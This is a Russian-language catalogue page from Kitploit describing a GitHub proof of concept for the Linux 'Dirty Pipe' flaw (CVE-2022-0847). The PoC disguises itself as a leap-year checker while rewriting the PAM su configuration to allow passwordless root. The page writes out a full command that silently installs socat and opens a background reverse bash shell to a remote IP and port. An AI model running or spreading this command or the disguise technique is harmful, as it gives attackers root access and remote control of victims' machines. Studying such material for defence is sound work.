Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-0847-Exploit-Implementation — Использование CVE-2022-0847, "Dirty Pipe Exploit", для запуска обратной bash-оболочки с целью выполнения произвольного кода на чужой машине. | Kitploit
Инструменты/GitHubGitHub/joeymeech/cve-2022-0847-exploit-implementation
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubjoeymeech/cve-2022-0847-exploit-implementation

CVE-2022-0847-Exploit-Implementation

Использование CVE-2022-0847, "Dirty Pipe Exploit", для запуска обратной bash-оболочки с целью выполнения произвольного кода на чужой машине.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
113 лет назадЕщё не проверено

CVE-2022-0847-Exploit-Implementation

Это POC, показывающий, как получить обратную bash-оболочку для выполнения произвольного кода на удалённой машине с помощью CVE-2022-0847, «Dirty Pipe Exploit». Эта уязвимость затрагивает только ядра Linux версий 5.8 и новее, но была исправлена в версиях 5.16.11, 5.15.25, 5.10.102 и выше. Обновите ваше ядро :)

Этот эксплойт был найден исследователем безопасности Max Kellermann. Я не буду вдаваться в детали этого эксплойта, так как он делает это гораздо лучше меня в своей статье; https://dirtypipe.cm4all.com/

Этот proof of concept на первый взгляд представляет собой простую программу определения високосного года, которая сообщит вам, является ли указанный год високосным. В фоновом режиме я изменяю строку в /etc/pam.d/s Я изменяю строку auth sufficient pam_rootok.so на auth sufficient pam_permit.so. Это изменение позволяет нам выполнять команды от имени суперпользователя без ввода пароля. После этого мы можем просто использовать функцию system() из C для выполнения команд от имени суперпользователя (su).

Я выполняю

root@kitploit:~
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit

Эта строка устанавливает socat в систему и перенаправляет вывод в нулевой файл, чтобы пользователь не видел вывод загрузки. Затем я выполняю команду socat для подключения к удалённой машине с указанными IP-адресом и портом. Символ & переводит этот процесс в фоновый режим, поэтому после закрытия пользователем терминала соединение всё равно будет удерживаться.

Выполнение программы на уязвимой машине:
Изображение уязвимой машины

Подключение к уязвимой машине:
Изображение удалённой машины

Скачать инструмент